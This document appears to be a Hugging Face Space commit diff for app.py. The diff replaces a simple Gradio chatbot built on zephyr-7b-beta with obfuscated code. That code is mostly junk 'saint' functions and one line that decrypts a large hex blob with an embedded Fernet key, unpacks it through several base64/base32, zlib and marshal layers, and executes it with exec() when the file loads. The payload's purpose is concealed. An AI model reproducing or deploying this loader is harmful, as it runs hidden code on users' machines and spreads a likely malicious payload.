anezatra commited on
Commit
4e01a8d
1 Parent(s): 1718852

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +644 -63
app.py CHANGED
@@ -1,63 +1,644 @@
1
- import gradio as gr
2
- from huggingface_hub import InferenceClient
3
-
4
- """
5
- For more information on `huggingface_hub` Inference API support, please check the docs: https://huggingface.co/docs/huggingface_hub/v0.22.2/en/guides/inference
6
- """
7
- client = InferenceClient("HuggingFaceH4/zephyr-7b-beta")
8
-
9
-
10
- def respond(
11
- message,
12
- history: list[tuple[str, str]],
13
- system_message,
14
- max_tokens,
15
- temperature,
16
- top_p,
17
- ):
18
- messages = [{"role": "system", "content": system_message}]
19
-
20
- for val in history:
21
- if val[0]:
22
- messages.append({"role": "user", "content": val[0]})
23
- if val[1]:
24
- messages.append({"role": "assistant", "content": val[1]})
25
-
26
- messages.append({"role": "user", "content": message})
27
-
28
- response = ""
29
-
30
- for message in client.chat_completion(
31
- messages,
32
- max_tokens=max_tokens,
33
- stream=True,
34
- temperature=temperature,
35
- top_p=top_p,
36
- ):
37
- token = message.choices[0].delta.content
38
-
39
- response += token
40
- yield response
41
-
42
- """
43
- For information on how to customize the ChatInterface, peruse the gradio docs: https://www.gradio.app/docs/chatinterface
44
- """
45
- demo = gr.ChatInterface(
46
- respond,
47
- additional_inputs=[
48
- gr.Textbox(value="You are a friendly Chatbot.", label="System message"),
49
- gr.Slider(minimum=1, maximum=2048, value=512, step=1, label="Max new tokens"),
50
- gr.Slider(minimum=0.1, maximum=4.0, value=0.7, step=0.1, label="Temperature"),
51
- gr.Slider(
52
- minimum=0.1,
53
- maximum=1.0,
54
- value=0.95,
55
- step=0.05,
56
- label="Top-p (nucleus sampling)",
57
- ),
58
- ],
59
- )
60
-
61
-
62
- if __name__ == "__main__":
63
- demo.launch()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ __VareObfuscator__ = ''
2
+
3
+ def saint816120():
4
+ if 7955239 == 3371758:
5
+
6
+ print(1712184)
7
+ aaa209789 = 6204193
8
+
9
+ print(1693154)
10
+ bbb9685358 = 2302016
11
+
12
+ aa9218311 = 8413000
13
+
14
+ z908652 = 1291412
15
+ zz9332012 = 612361
16
+
17
+ c6351527 = 4405000
18
+ cc8762362 = 2745585
19
+
20
+ elif 9778885 == 5307855:
21
+
22
+ print(4993334)
23
+
24
+ aaa4001087 = 2500201
25
+ print(6715420)
26
+
27
+ bbb6330606 = 1148551
28
+ aa8832067 = 5758725
29
+ x4191655 = 1137114
30
+ xx2321897 = 4340369
31
+
32
+ a9184873 = 5879675
33
+ aa7896919 = 1760454
34
+
35
+ def saint3570693():
36
+ if 8553869 == 2144443:
37
+
38
+ print(8104734)
39
+ aaa606656 = 4068373
40
+
41
+ print(8258947)
42
+ bbb7347265 = 6500292
43
+
44
+ aa8751148 = 5637073
45
+
46
+ z6181231 = 9854054
47
+ zz2077378 = 3947585
48
+
49
+ c917604 = 984881
50
+ cc2062270 = 2977603
51
+
52
+ elif 4745362 == 7149210:
53
+
54
+ print(4694904)
55
+
56
+ aaa1742673 = 8023516
57
+ print(7194980)
58
+
59
+ bbb4606068 = 9715157
60
+ aa6842994 = 9018704
61
+ x1606540 = 1300160
62
+ xx4324687 = 8776983
63
+
64
+ a166279 = 5149206
65
+ aa1230511 = 8451271
66
+
67
+ def saint1975227():
68
+ if 1455384 == 381279:
69
+
70
+ print(3028375)
71
+ aaa9159529 = 9590393
72
+
73
+ print(1728721)
74
+ bbb367293 = 5634273
75
+
76
+ aa4883327 = 210154
77
+
78
+ z6252059 = 6593558
79
+ zz1461032 = 1442556
80
+
81
+ c8418527 = 3502956
82
+ cc293013 = 2056503
83
+
84
+ elif 7227417 == 6034296:
85
+
86
+ print(9024309)
87
+
88
+ aaa3412674 = 3942433
89
+ print(1101127)
90
+
91
+ bbb6607963 = 8009631
92
+ aa9913516 = 5727152
93
+ x8896004 = 5943894
94
+ xx8366757 = 7160212
95
+
96
+ a8731605 = 6234984
97
+ aa3032831 = 9760851
98
+
99
+ def saint7557399():
100
+ if 1884763 == 5255236:
101
+
102
+ print(4161693)
103
+ aaa9063811 = 186374
104
+
105
+ print(2815487)
106
+ bbb4073080 = 6452297
107
+
108
+ aa3118769 = 4384631
109
+
110
+ z651639 = 9953780
111
+ zz8090104 = 8051858
112
+
113
+ c3509682 = 9784737
114
+ cc274930 = 3479322
115
+
116
+ elif 7117635 == 7434976:
117
+
118
+ print(1712028)
119
+
120
+ aaa7111904 = 9469211
121
+ print(5015630)
122
+
123
+ bbb1275545 = 1164586
124
+ aa4567427 = 5155742
125
+ x3290655 = 8610506
126
+ xx9878039 = 8320558
127
+
128
+ a1070867 = 5948398
129
+ aa8269212 = 989041
130
+
131
+ def saint5503416():
132
+ if 7419816 == 645622:
133
+
134
+ print(9144688)
135
+ aaa2004902 = 2864012
136
+
137
+ print(9239362)
138
+ bbb7491991 = 2929271
139
+
140
+ aa731485 = 9490273
141
+
142
+ z2989232 = 6704187
143
+ zz8161818 = 5273448
144
+
145
+ c4849178 = 2799753
146
+ cc6261386 = 4268713
147
+
148
+ elif 3166558 == 4040197:
149
+
150
+ print(5832548)
151
+
152
+ aaa9417683 = 8178797
153
+ print(1051180)
154
+
155
+ bbb3616673 = 8983823
156
+ aa9409933 = 5732925
157
+ x283801 = 3399768
158
+ xx4814607 = 6460464
159
+
160
+ a8597341 = 6075728
161
+ aa8707001 = 1687161
162
+
163
+ def saint4890591():
164
+ if 2760762 == 3443712:
165
+
166
+ print(1081828)
167
+ aaa9178545 = 556284
168
+
169
+ print(1048869)
170
+ bbb618441 = 5150521
171
+
172
+ aa6229171 = 5785367
173
+
174
+ z414265 = 9262975
175
+ zz6588463 = 9399650
176
+
177
+ c7405231 = 9614611
178
+ cc5049305 = 6474661
179
+
180
+ elif 7032102 == 4638918:
181
+
182
+ print(6412674)
183
+
184
+ aaa3592459 = 1464307
185
+ print(7509669)
186
+
187
+ bbb3691430 = 2016773
188
+ aa269060 = 3880312
189
+ x6717733 = 9352192
190
+ xx5169736 = 4061841
191
+
192
+ a2405482 = 9694582
193
+ aa7364153 = 2360759
194
+
195
+ def saint6638394():
196
+ if 8830587 == 3689683:
197
+
198
+ print(8081817)
199
+ aaa2877671 = 8455299
200
+
201
+ print(7139262)
202
+ bbb794053 = 1838166
203
+
204
+ aa7063612 = 6313205
205
+
206
+ z9125792 = 9515105
207
+ zz4904752 = 5491096
208
+
209
+ c5870249 = 7981928
210
+ cc1342967 = 1607878
211
+
212
+ elif 6869831 == 282834:
213
+
214
+ print(6626901)
215
+
216
+ aaa387880 = 6716202
217
+ print(4673660)
218
+
219
+ bbb9781518 = 5271027
220
+ aa4596774 = 2005618
221
+ x4446571 = 7825335
222
+ xx101233 = 5203784
223
+
224
+ a8144874 = 8835985
225
+ aa7059837 = 7966848
226
+
227
+ def saint5338882():
228
+ if 9521516 == 7489701:
229
+
230
+ print(2065401)
231
+ aaa4354264 = 1247708
232
+
233
+ print(8058192)
234
+ bbb4536245 = 163683
235
+
236
+ aa1476994 = 9012879
237
+
238
+ z4110088 = 853856
239
+ zz7725649 = 5892698
240
+
241
+ c4528973 = 1021833
242
+ cc8255305 = 7284130
243
+
244
+ elif 3066044 == 9171521:
245
+
246
+ print(3243167)
247
+
248
+ aaa4399072 = 1900704
249
+ print(7156213)
250
+
251
+ bbb5609602 = 5591274
252
+ aa7261537 = 828060
253
+ x9465313 = 8566539
254
+ xx6759136 = 6225965
255
+
256
+ a208388 = 8090674
257
+ aa2210325 = 3710257
258
+
259
+ def saint8614986():
260
+ if 8451576 == 6470390:
261
+
262
+ print(672378)
263
+ aaa2920976 = 3201066
264
+
265
+ print(6191541)
266
+ bbb9554706 = 7879519
267
+
268
+ aa7154189 = 9051881
269
+
270
+ z2481262 = 3988359
271
+ zz7854605 = 5335807
272
+
273
+ c8583012 = 1037489
274
+ cc7873385 = 8982430
275
+
276
+ elif 8760053 == 5106077:
277
+
278
+ print(1917380)
279
+
280
+ aaa6171516 = 8799611
281
+ print(1457153)
282
+
283
+ bbb9846670 = 7013849
284
+ aa911656 = 3506843
285
+ x6905045 = 4518455
286
+ xx1133598 = 9734686
287
+
288
+ a7430234 = 6486398
289
+ aa9769952 = 6691078
290
+
291
+ def saint2184090():
292
+ if 292742 == 9208961:
293
+
294
+ print(9215631)
295
+ aaa6995149 = 1527004
296
+
297
+ print(7442937)
298
+ bbb2504778 = 2667492
299
+
300
+ aa2385460 = 2521810
301
+
302
+ z4965205 = 376730
303
+ zz2597064 = 7575875
304
+
305
+ c187747 = 7918684
306
+ cc9311346 = 8746526
307
+
308
+ elif 5824217 == 6370915:
309
+
310
+ print(3783274)
311
+
312
+ aaa5155448 = 6047042
313
+ print(4146768)
314
+
315
+ bbb1129884 = 7763238
316
+ aa3801629 = 2965504
317
+ x2459231 = 9828440
318
+ xx1843007 = 5967567
319
+
320
+ a2444543 = 7552768
321
+ aa7673408 = 8455287
322
+
323
+ import base64 as ______;import marshal as ____;import zlib as __________;from cryptography.fernet import Fernet;import base64;__mikey__="Qk9oNnBVSTVPSGtFY2YxQWtEcUhOV1ZUcDlTMTJZaFVmdG1yOVV1OF9CUT0=";mydata="674141414141426d74654d6244364542437277544f52325538514a5136663475796f6c506d674e3831566c4b703970446b7746727058664c6e6e76335f3744546930462d4e446b494d4441446b306450773657554766614357466e345f637869617135314e4f365647583539374d58426c4542593273346c6653356e4754564b35707348643048376f565a3734535377736577724633434b324c5f5f4c3873505f6f4a776c715144365f59745165787a4c686657644d6a4669785a794875786933517139656c4f464d4d53553139757330526d676351773569774130303756685859474f2d7532505a33335837516d4e39306a62597978424e705651426d5242464c31716c386b2d5036383649656555314f655477776d364c6775765243684f303061396431307641762d764b464332725a656a336e59583049433676733364455a7955694f664878574d57724a4665756a61504338634c706b4d50716e4651566d41726f67546c4d756f544b7a4e65356e53436670334a6b314e7070756f4b464e6e7377786e6b72636268344b5341467632454b6e33577a4a6f6772546c434f657a74784454675749586b6b2d504d32522d74785f435a5f3555376f63495a2d4e334347772d313467752d476c673667464c646b6d3741653665446171444d4d704862316f426d6f344931576e75656e384c38426c374c64716f73527078507247415f6e66637649725670634f797977636c7a5243336a5474415736347434513151686e3967773232323039355572475143744465764a3465527879584d5862656a53684b496f6b6f464d444b336536546257393237367136736f37336f344b6d47476151755f31665030507772415475634a5a616351452d54586646627375714f38596b596556547464715a707168457a335468534e663663785069524c5174444f41536b563836456a4f6c5061425a6c324f6649384433424e6e413470655270776f417852436c58485f57344d70342d5633424b70755a5068766c51434447646c36734f2d426a5773476265323542323368504e4a7962496c4f3179354761555274523465526272636332543975303631436d4a45494c56694b37553068336c4561656a57344a6d476e385872465171767a43643635387356486438386f566539377261534e5849667467576b636a6a42674f6c7641543873766a683151782d394c6f59634e332d502d36707247747261384e774674565857645a6e6f443677306175633449765a76336842726b756e75743856457a416d6c49565a714a556a5a722d794e64716b726e4f3553577949686572747170457a74324279574b442d65517a6e677169796c7a5148544a6d4c2d5f794e4e325a694b425366596934326d675341776f6a50336677794d39616b63417965522d4e66696734594b766c64427572494f58675471674156356144304672344b2d5661694e474d34746d353171736369392d3347385570466b785a415844456c74656e73646f494c477862315f4f62535530375a4359454f416767385869614256505f314c784149436e5154664a6f6467536571765f776a31434c6565443762782d64662d70575930483566367665346964797342385a69533030387344664e72367277653964537964634c6d6c584c4b4852515f456f4d5f4e307833425f41426c544f4d41507153753343324b7349544c3931344f65504963524b38527a3873494a5536332d775033625761374d54535a62386b376e587149724c587130626c5a6930534b614830344d443345502d7a484739553239316c7564316470317a313830324d555267673670584b586570465868796c74786a616f392d354f3137715557546e76584b65492d2d59635a54544b625837677035724855593455446851794230315f643832337458556b6c54546b6b6c36315f715450356a495336396c6352506c6177643752654f55456d68526b363534726b56516b59754463514a364d4b665341546b514b4e446761654c433355747a5f39633545593879794f62686538665671374c3247713835444a6350635047302d372d77674a737647353536505953434c5773446d6734536d757976644d7749625676334b4d316e4155545449645f5a4c304b534334614b39484b6c4d4676644c626c5451384365323476654b484937353964686d7a7264496f4b72385f714d4c6b685a634f637a5f495a58546b566d6e30734157716e7941355046567a52704359694f774d70564348614a75577958454e736a356a694d347939737a6e6e78634a336c62427144377a4b6f747956673053514462347341485236586d3764697a7675566c367956743942625f676a61435a416e31566f41706d6f444446324f35526d337a374235376158433553334663746744565a6e3558742d39557a526e4e52686f4c4e767a61437969685955556b3569734846476c4d4c5163723858555772424e70546a6452614e69574449355f62675f554154656c49326f473672435f7a58753272727a647a6c72647466774873513254786f514f6e525477576767474e37505830376d414230646575656b2d45696e4d774d6a6a54486453787a7776617a574e5045566f43556e6356723354356c36594f4f5270623256346641774e79454d312d624d6b6f5771665f62686c58705562796d765f775f6c7055564575306a304f6e3745317248575a7a4c307464476a503234735f5054586e44464151787164487944786b7536617634694b655946444179505432366d624f39363876337952376c41796d2d5f5264506e3538457a3152617036686864707154345f7a4f2d6443456e30554a734f534f386c5a5555645a4f7330767a55656f6778596931706b5a6631646a432d786c776b567175556d76535a6a714348426338576e5132354d796b6d5a63565236703567734c726c44396a3969796f6c7836444432575f494645613868414f717544727839586a4a6d42755a6a496e6657477943614a7946796d353671796d57676e637646695354684d433530414564537243636a4c6f492d395342537257714f46597353614b672d456e6b78693963527256623954716b6149625f4c50564d4d6e734f723434724c57692d45443267594d44735971574c357a435a614a5f4f61473079477857426c5375554b7064554e514a476e76785279777a4437346632424944386e363336573742444e704b362d7073635a4d5f6356347a563461703943705661556f4243454261647369384158597549534c65384a783073476844426f452d42715f637553522d656363544e58724d546a31394c613846354f684f32796164596e734f566c565f6f69484e70796c5a6a586336626d734a6d6667756337586945713670694e5775437952704a526176307731574e71393655645f4a3476424149566f4b3744414d4d73546e59344d5a444d32304a416f56544a66726e654f4f4f645544696a6a5a7263566441364c7159493567476a5734336f3766757a5562377244725075545f4b51676745396d4630795f734676695a33447a6f7930492d384469544c494f2d514a4b544437703652435f707635556b6138476f7632337430323245726d31784939584745626d32634c5969436f322d4e6f7876776f7847746a523165496c4157722d6667505447657139346d36503159635977464a524d6933687943356c533031474f4b4963563766676252595f5732593268415f6a58733269502d364e6b365374782d33785873672d5467394633646a33364e6a4531616f77325a2d416c443969377152324b37766261664d4e3838525a507577556d73587a58795770365035414674553761633935764f5156524f5337674b4755776c65584a487a545f7756706951347154454f35656c2d45346b6e5f7a707962456337694568554d74484d7249765837734a346e7456724f6e73626a6c676362315f3475473971777242634c323149497642636a704c6f636f5336327250577131346a53544d536a546e306b426f3041544d435430705a664d74567961753158474e66432d4f49346f746b3833444a564668756473554537625f5936755235323363666f61666b6d30375f394d704a764273446a667531457357772d3856456e6f58484e536575535279304e4575725157415458613872434177584e4553485a72766a7342376b68585a6b74373961787368775532386b3277347262383047336a437a32765a657531626d5146764e4b4f72664339787772313053454c42617a6c69396b46763551525737376a45503451337a4c4479336d334d6643705f50526a4965355753644a7543675a334d6a5964763234486e6b4c7470576e36485f7265744b44546b6b4250736e61784b76596562496358627749484a5f6a7967674870354d7237754937566f644a58496776794b72686839754a596e545561447557416b46366232517a78507a3467656b687755754c6a5a486d706533547738486c4e34674b68304e344d4964632d4e725a43486b63446d643272567734367a41626e634f734a53757067653143526171563232446e4b4b76705348422d6d306e73584b725045682d56675f336b7462633045474c545649774876734b6c5279616d63796c57726c664e7552595a744963526c545f55636d4f33616a304b56675f7a4a6e31633877554e4d735659356f43486f393733655434444a46497773596a746f5a7a434a6a554f48463337345a35455454664c4249435952696b4d38417046615f434644593759353854387958737866353766414a72666a53717533746d4c7a7a5759436f76786e323634495f336c6d314774763265746d6c715168324e6f4b6d734c6a4255395139677737654550474930415742356b306b2d724b70336e31496936734a2d5f72727a3059636c592d7a596f454d744d6836477139577a74612d55626451656d654b366e367658686349517772583162704a30794f797a3434525979566255782d2d782d4455535a5572484c6d655930684a43515632635a79565648423274577378564b355f54755a33644f5936355a666971594b53334d4d4261564241392d7854586d3879513076637659754678366a36746f535f35476a634b665756735159484d6c4f306d534763336e4c714f526e5f796e4d6756785234686a57526558665f6844503868474d324b48383334574534546d6c7a744f52502d455568414a4f666e554273444264324c36674a5f435f716771744a6c744a6b543232775365654d78653069776f726b6d524f3745456762446b47577a32516458726d35635070445f5042775a6f444f2d347571414f37586f6b6c5f6f39324e33433232507a564741775f3549336b58486377496754546275555f6d79643431626f4d623870414c746b5970785250686e41646b4d33345f6869306962453166632d4a585f59334b5f4352327a6b4563615a4e4a53626c5874357a64594f4f754b444f7072503641694730557441767945434b574e5074372d6c2d7a34476c476477567176357955533874522d637578394e676454624f4f585f673654614d68525753696c384d57736e61555154344d752d746b6949354878584a69786f7a5046635f33337676546248725a52387a3055674f396266686677343861536f593646752d763757645130526f6d4d384f6a3266394d504c7849366f4a6c787a66765a4d4c5f31365178665f5a4e514767775a4c6f6c666b5f484e6942514b4947696348476f54615346564c455a6b63726e325775534351376d3470694b64724c335064486e5a666e6d6e397a4c7737665f5f2d4b49356a337a5653664d366b446e4165786b54656172494c635a77476a53594d3355323961543450726f474d656b7a373946324d5952544c567777674476344e4a793141395155434177624a3770744f4963336c785274324b78376b626b4c41664462797454756365304b6d2d6c4b396e4d6e305971544177492d31356d79764632647a667233756548744678316b446a4e625048644f6b66594a665369616346426f4467384c6d376855346b4151556b7273766e385f49574130663044757341677a3972585550346f55495237447177714853693838544a6e2d7771594f7841737639506e506c343642766a4559704c33546d713043614c5a6d73554a372d6369525f45736f45705455476d53683647684f656e5238664b53633967386d5a7878365043703073483637506e365f4c424d6a5578463248525569432d373143524f75732d644c7a38774a3176307369764e79613239724f79317869374867696d386a705876646f41446c6b6f5a4d474948527133794579444342516366786f745a5f59784c436a713344686469436f55634e665a695f326d6a4f6341674a5076784e3637447530796b317359665236424e377255755a6e6459784c4831305f4f307841417347306841743557496a4a4852574c74705073444e54596658394752723045466b396170595a5a32526b422d5f6e43776c6252543832724f464f6c59343135794d4f3135354d61674242576268414d6f446f6c3536557a7a46474e45684c6968506732457356324a665945595642305736347a542d787a784e56395272664e334d67305a6261306e524479516c576977316e71354e66644f416d455f545a6b7a704c5a6463664b645142307444336f6b364b495049573662466d453458425072495f567973666e464439364c30776857344767482d52455553656f3259724a6e57775042577232375f5878383338774972554c6132763654335941537a6a5233505466427463424c50653053724672355a6f3141356363524758664631433842326c2d5f6f396e31674f52503463584336766d7047777865494e5a4f43484668493441342d7656706a5073677577493146686b386c7362582d527855533048324e6259566d7471444c566f6e5948504b745165676c2d7438374a54315854795136414e366955354f4c4662736e302d6f73674c6d547949662d617934546d73676f4b724a4443562d48427632347436664c72366a316f497a506d313530506438544d443545382d3053796b65714447484b413753596e6c31384b536a726d6f686d664c754961365245535a694a617a6872444648434254534a30526b71354a4747544c5141644d6d7242313068356f49596f3842706b36767a6a7055396d70462d523033477655304b51524d63516a5049617957785f4f717a4e576e42766d3638466950366532524d6335456b6f636330477a7a41626d53516e396a547043584749782d7a4477424e434f75675553464f58592d784476676f705f69795a43356d30754c736a4e4e4e4c3369536b6377335a304b543058674a36306f486c3278624d6468555a6e77347979313245544249324e574a394947346648382d785a54384434414535797a6c54326a68485f67564c6963585933494d7631375574364b71744846674a744a785a57766465584a6d6b72796b4a6c5f6f455f31656b4e35474e48596633614f4d376b7152376c527144617a76617279616863345033564a487331533743457a76395937326e4974586c774144376b63423035467256316678473742576746373034477435684b5f6662754b794a7637756d6a383338334f53425474705a487564523762746c6f5a356874364a62664f7176442d7249536a476379755858566d45755631664f33476d70487a4f4e46305a744a57316c6661347778793268416a45564f436d52706a3665795a352d5a413046454a52344f4d727a5f434a4e414c62626d733333684254364f576d5a454767644452474868456d4e4834436b4368616f6a4b6c696d54435536367268443154524d4241666f494678723664474530686f6734707659796c576d31677a77355366564e585957487657733536374a5a4d6c70456c6c585876555057734c5573525f3467725979655f6477764a6677576f596d4b58764b4c5f68315a2d615261655678426f65476b4754514948546b556753756650726f736937766b463245773946473752334d6d626955315942494b77634e4c3672362d465054526d495a7278724f6d73424e544b424156754f7331345369716665517773784d6b36686c584c7a674775317551744a5a4a6533704c744741746d6430626130765445423438546c546c367532416f57694c584b323968343650346a4c794b356a74516b796a626f336a465534696e45364b776a626c62636f414f3368766b7839446b504d4d385a654e436658664671534e4d41776845655a585a5838716647555676426673365746727265396279796671536f6a4e315a654f7275304b6e34635574475748554d706b5356785564574464674564453350547636736a426335425247424938344b5133534c5073492d33486c5f63676a4b71776569526f656161767a51397669453870436a554937484d694a695a394748437544462d6347542d334a65332d4932576332464e57434649645a68626e4c54325549384831756c7130384c66356c6f77376d3451726479316e737a5957523563784a5979764a53427776453036536a735f4963686a4c35542d50644e713537547548505f43504973614644736e6f7a316d5a366372684e326b3562447150535a5f36512d4e6a6c3830345745746b447976495633356e73674738426162726534486f52552d744d4b62796d7272516b734d4e47666f584874497265437a744838344848776544775f5145442d41476a32525744556476324b4470397349756e495f496e31304d4f62504e3050742d335148666478724c706841657178494e633167597a385178387a704f4e41316935796b744c6e766f5674423765794b45646f774b365a33554a73766b4156374669584848556e456f456b30386a58567275355f737a36374166784f316b374c5662452d584b5171644577774d312d6a32656e33685553795f56505a7a42435232434b55697662746e49426f734b6b473352695a6a736a536e63527957722d7270335041565f71676857644a704d7944566572516b614c57436a4841776b3147435f484849396648775941627834644469487944345973424d6466306f6d53426175394e396b3379314c71627a796e57696532444c6973467668727a373169644d766b344844477132437166706c797154355f4f6a583530715363414e3648644c4269576762386669444a68573575363858474c61733255614e4b5a6e6c787870436a4b3738312d34366e3779674a67726a4b586c65796375423339346f4d4c305669707745794f4530675178416d71417167626a394a4f7a795f384b793734625842486a4678384a4f34306f325f6356394c42773070513367764a462d42496a32535034456d656952444b3543664b7074306670467a4f425a5233726130475444334a5761305352775371597a34304c564a632d59503431305764456239734c7a364253325757794362595a556f6b6151715973565167736859637657794e476446707436414d5732746f4d4c4d6e67656444726844687a4f62636a5636674b44687073515a467558783132456d78764f48306c38536c436f45514d4b7669387a7770456c3468376e475768556f694e425842554b4c5a794f73324d3172734c646e586c6768766572534b5a4d4d6d5043486e755767333337325944597a61414a444e373953313741324f394178625257526e587a4a426e35454d503341774143637564466b32737637464b62587a73675565694f356173306359304231655445454456727759735a496e6c4a3255785a6462574e45496769446d486c5044394f54767452596a69494b5f6b47706a4d776650516e6e7655314730686e375252704c7a696371635977386c577942714c6d344c713265686762356b725663372d5744363554777779765a463546626441424c4d6f2d4f7734506145307146704b71525a7a5a37314c6230317a465f4a315649554279413644396144584254316931416974576b30664f656c6e4d5534543967614f686856476a73714f6a396752764c45484941375942384d6e33665359725330614b366831574373694d676a5534596778634c4a6d72505f733338586d2d744b7256364670584e506b4e59444e65334f77764135326d325a72385037506f366a646b6a76756a67685162646174316c526d4b5f56443638585653757875356d4a3341766876576c54516d6e496d536a7274746870796f67623746467871595933694e2d69676e4b746d4c5268695a5f7a4c6972445f4a4f306641714a33706f3764344257617137794878704b766f434b6f7a4959417a62436b4d573879365a6a46356530577968513535686567724465716d714d437663627953666f354b436134683863376253675436666351467a5a6a54336f4f33464647635f634d71706343456d50446f65617039674f6f5a39616e4e2d506942397234444248786874744441697364637662467950766f7469737053574773666d4d4d445f7a524f6650757a4c755a564931455476363065547530726238456f5a314e78474a43447238616a327834425248496b637a54336563627450786c6a4d393071574e435f716351304f36564a38486e6e4d516f6a76375939386c2d512d5f6443414231454b36513554424f315f74773461464c496d772d5f5842414d47784f4d6f6d546e37723645564d634c666a67736a736f493373444248432d354946477537783357477474546f38445f456e72777a79564d47422d6b7148515033546d7645336a45305a4f376a544f304156563131436d5466475a476c747579505871455a336c6d4d3631645775645359394f63575f6f584d7459324f4b646d30525f75474c4534744b734c734b41764c6830724b47395a75746d51304e61625a4b48746763456d6179614a704a544f344c764e79797575484c744437324b3145582d6d676a4e544b67486e5056534d623845586257624674574169384b2d51625243424271733546665950414c426149316c505f385749595252303553485f56687966485247776c7a6a302d514567534a6630624b632d3635787570564130375344774239473441774a755348486f63456c654a6b745738717246516336476138646159464d76414e494d4c36644d6b4444576a72783268774d4542564d5f4b6752667561544d6e726d5049423451304b51455942515f775f6c6e4c596b66763939396545646d6645386f6741445a346e3268686644395a7a5036305234713834723953325978526a39796a53556632476c67356a303665614e794253585f2d7348696232764e376e4247696e4d6c745f56416564744f6b782d5a5a50757176676e786c6853364c793333437a484c6a665563574f652d4f444d6a68697a466f47344c326b4c3339466b4a744854783236626643326c5f6a527151456d4f33474e3957304b5470433079507350616e5472576b666e6f7934546b74706b5473774858725443626d7934304156306d436c35343437524541396b42467357526672577972785138536d6652556b39527448635a564f655266326f63416c744f7a72746c4b54775966544a5166535f706c753845615748794357557441453142656f6464366a68795755416b72644b69454d4f6f694c5345676537715f63434a434e756478396f3130617148626e4743613336666c575457614752443471756f776e513975656c54316174674e34314f6d5979596735507861526e61564650726f425a467372684a355933695245674877514f475978466c6248485335386d675f4e346e35546b634d4748695a3949655364325447506c52374d5434564456346f357649474669306e5a446859494650545968435f7675364e366c5764336957492d46344b7a755a735f4d563868493738644c496b5f44446476426768646941596e47634358313535766f6f746631393133484267686872636e2d5571545a395f694c6a6b423544326d7777756574784e63495f3666547a41705368516c55674c76684d56363972466669507456737532497239344a664a7161726e6a4c3250427351646a5f775753586e7232722d5470785468514b4b3068776567637776696b38712d56394234714365783866683872752d385a49336c467a5745355a4d484f4a664b506639744d38494348766c48764e4966626c5a364d3745672d7a773241565961692d7670625f50733234674c5068733657796f6e55547441717258667a396455724f6c6c4d5a49584f55487541675f376276376d56306f614b6e697039754a3176584833712d42315f2d67345a657a424d4c526842575f726c73655a59495446463571484d6f7a746d6d45505f454a68483171624f42345f7965692d43566542674c436854463567515f707a6b416f504655496a63";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=289104288592;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___))
324
+
325
+ def saint9621567():
326
+ if 2868861 == 1916527:
327
+
328
+ print(3442013)
329
+ aaa1649983 = 9829752
330
+
331
+ print(8574867)
332
+ bbb5415763 = 5166915
333
+
334
+ aa9215682 = 9163262
335
+
336
+ z9341561 = 7406968
337
+ zz5785638 = 4277002
338
+
339
+ c8399872 = 5926023
340
+ cc8125465 = 8298352
341
+
342
+ elif 4508041 == 8124242:
343
+
344
+ print(7668176)
345
+
346
+ aaa3925138 = 3323197
347
+ print(1169588)
348
+
349
+ bbb1535622 = 8896117
350
+ aa3834111 = 3645417
351
+ x4033392 = 3708614
352
+ xx9318966 = 724128
353
+
354
+ a6217743 = 7706525
355
+ aa7761253 = 3193583
356
+
357
+ def saint7392020():
358
+ if 3359895 == 5544946:
359
+
360
+ print(1551590)
361
+ aaa3452463 = 4189610
362
+
363
+ print(2045234)
364
+ bbb3498520 = 7886808
365
+
366
+ aa2817505 = 9348199
367
+
368
+ z6561710 = 8874602
369
+ zz9784000 = 8583071
370
+
371
+ c188441 = 9851915
372
+ cc5585283 = 4756832
373
+
374
+ elif 4025886 == 974384:
375
+
376
+ print(3091602)
377
+
378
+ aaa9025785 = 9049209
379
+ print(8541418)
380
+
381
+ bbb516779 = 3239366
382
+ aa7392481 = 3566673
383
+ x5031139 = 3623083
384
